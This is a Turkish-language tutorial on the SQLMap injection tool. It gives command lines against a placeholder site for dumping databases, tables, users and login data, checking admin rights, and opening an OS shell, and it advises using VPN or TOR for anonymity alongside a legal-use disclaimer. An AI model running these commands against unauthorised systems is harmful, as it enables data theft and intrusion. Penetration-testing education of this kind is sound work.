SQLMap Kullanımı

SQLMap, web uygulamalarındaki SQL enjeksiyon açıklarını otomatik olarak tespit eden ve sömüren güçlü, açık kaynaklı bir araçtır. Bu rehberde, SQLMap’in nasıl kullanılacağını adım adım anlatacağız.

download-2 SQLMap Kullanımı

1. SQLMap Nedir?

SQLMap, SQL enjeksiyon açıklarını bularak veritabanı hakkında bilgi edinmeyi sağlar. Çeşitli saldırı vektörlerini test edebilir, veritabanından veri çekebilir, yetkilendirme işlemleri yapabilir ve hatta sistem üzerinde tam kontrol elde etmeye yardımcı olabilir.


2. SQLMap Nasıl Kurulur?

SQLMap’i kullanmadan önce sisteminize kurmanız gerekmektedir.

Linux/Mac için Kurulum:

sudo apt-get install sqlmap  # Debian tabanlı sistemler için
sudo yum install sqlmap  # Red Hat tabanlı sistemler için
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

Windows için Kurulum:

  1. Python’u Python Resmi Sitesi üzerinden indirip kurun.
  2. SQLMap’i GitHub üzerinden indirin: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev
  3. sqlmap.py dosyasını çalıştırarak aracı kullanabilirsiniz: python sqlmap.py

3. SQLMap ile Temel Kullanım

SQLMap’i çalıştırmak için komut satırında temel bir URL ve hedef belirtmek gerekir.

Basit Test İçin:

python sqlmap.py -u "http://hedefsite.com/page?id=1" --dbs

Açıklama: Bu komut, belirtilen URL’de SQL enjeksiyon olup olmadığını test eder ve veritabanlarını listeler.

Parametreleri Otomatik Algılama:

python sqlmap.py -u "http://hedefsite.com/page?id=1&name=test" --batch

Açıklama: SQLMap, URL içindeki tüm parametreleri analiz ederek otomatik olarak test eder.


4. SQLMap ile Veritabanından Bilgi Çekme

Hedef Web Sitesinin Veritabanlarını Listeleme:

python sqlmap.py -u "http://hedefsite.com/page?id=1" --dbs

Belirli Bir Veritabanındaki Tabloları Görüntüleme:

python sqlmap.py -u "http://hedefsite.com/page?id=1" -D veritabani_adı --tables

Belirli Bir Tablo İçindeki Kolonları Listeleme:

python sqlmap.py -u "http://hedefsite.com/page?id=1" -D veritabani_adı -T tablo_adi --columns

Belirli Bir Kolon İçindeki Verileri Çekme:

python sqlmap.py -u "http://hedefsite.com/page?id=1" -D veritabani_adı -T tablo_adi -C kolon_adi --dump

5. SQLMap ile Kullanıcı ve Yetkilendirme Bilgilerini Çekme

Mevcut Kullanıcıyı Öğrenme:

python sqlmap.py -u "http://hedefsite.com/page?id=1" --current-user

Tüm Kullanıcıları Listeleme:

python sqlmap.py -u "http://hedefsite.com/page?id=1" --users

Veritabanı Yönetici Yetkisi Var mı Kontrol Etme:

python sqlmap.py -u "http://hedefsite.com/page?id=1" --is-dba

6. SQLMap ile Web Sitesine Sızma ve Erişim Sağlama

Shell Erişimi Sağlama:

python sqlmap.py -u "http://hedefsite.com/page?id=1" --os-shell

Bu komut, sistemde uzaktan komut çalıştırmayı mümkün kılabilir.

Web Sitesine Yetkisiz Giriş Yapma:

python sqlmap.py -u "http://hedefsite.com/login.php" --data="username=admin&password=test" --dump

Bu komut, giriş sayfasında SQL enjeksiyonu yaparak giriş bilgilerini sızdırabilir.


7. SQLMap Kullanırken Dikkat Edilmesi Gerekenler

  • Yasal Kullanım: SQLMap yalnızca test amaçlı kullanılmalıdır. Yetkisiz saldırılar yasalara aykırıdır.
  • DDoS Koruması: Web siteleri genellikle güvenlik duvarları veya saldırı tespit sistemleri (IDS/IPS) ile korunur. SQLMap’in aşırı istek göndermesi hedef sistemi bloke edebilir.
  • Anonimlik: SQLMap kullanırken VPN veya TOR gibi gizlilik araçlarını kullanmak önerilir.
  • Güncel Versiyon Kullanımı: SQLMap sürekli güncellenen bir araçtır. En son sürüm kullanıldığında daha fazla özellikten faydalanılabilir.

8. Sonuç

SQLMap, SQL enjeksiyonlarını otomatik olarak tespit edip sömürebilen en güçlü araçlardan biridir. Ancak etik hackerlık kurallarına uymak ve bu aracı yalnızca yetkilendirilmiş güvenlik testlerinde kullanmak gerekir. Web sitenizin güvenliğini test etmek ve açıklarını belirlemek için SQLMap’i bilinçli bir şekilde kullanabilirsiniz.

Eğer SQL güvenlik testleri konusunda daha fazla bilgi edinmek isterseniz, “OWASP Top 10” güvenlik tehditlerini inceleyebilir ve penetrasyon testi konusunda kendinizi geliştirebilirsiniz.